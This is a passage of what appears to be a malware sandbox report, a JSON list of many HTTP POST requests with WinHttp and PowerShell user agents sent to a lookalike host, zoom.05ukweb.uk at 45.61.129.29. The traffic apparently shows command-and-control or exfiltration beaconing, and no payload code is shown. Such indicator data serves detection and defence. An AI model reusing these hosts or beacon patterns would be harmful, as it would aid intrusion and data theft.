/ft?topic=v258&session=742298662&isbn=4778101 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4778101"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5159543 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5159543"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5438143 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5438143"},{"header":"POST /ft?topic=s HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nContent-Type: application/x-www-form-urlencoded\nHost: zoom.05ukweb.uk\nContent-Length: 3\nConnection: Keep-Alive","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=s"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4577593 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5025\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4577593"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5002089 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5002089"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4589689 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4968\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4589689"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4826526 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4826526"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4983965 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4794\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4983965"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5026324 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5026324"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5135338 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5135338"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5195846 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5195846"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5232195 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5232195"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5335230 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5335230"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4832548 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4832548"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4613968 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4911\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4613968"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4632377 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4911\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4632377"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4656678 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4911\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4656678"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4868847 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4868847"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4893060 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4893060"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5062667 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5062667"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5323115 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5323115"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4601787 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4968\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4601787"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4808340 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4808340"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4899135 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4899135"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4923373 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4923373"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4953609 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4793\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4953609"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5038442 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5038442"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5111116 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5111116"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5347338 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5347338"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4680876 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4680876"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5074778 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5074778"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5353353 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5353353"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5359445 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5359445"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5474470 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4697\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5474470"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5480542 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4697\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5480542"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5516847 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5516847"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4529049 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5100\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4529049"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4692979 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4692979"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4959730 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4794\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4959730"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5177727 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5177727"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5407930 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5407930"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5528945 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5528945"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4650606 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4821\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4650606"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5050554 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5050554"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5147451 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5147451"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4626244 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4911\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4626244"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5056655 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5056655"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5183749 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5183749"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5426035 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5426035"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4699110 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4699110"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4729689 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4909\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4729689"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4820440 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4820440"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4947607 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4793\nHost: 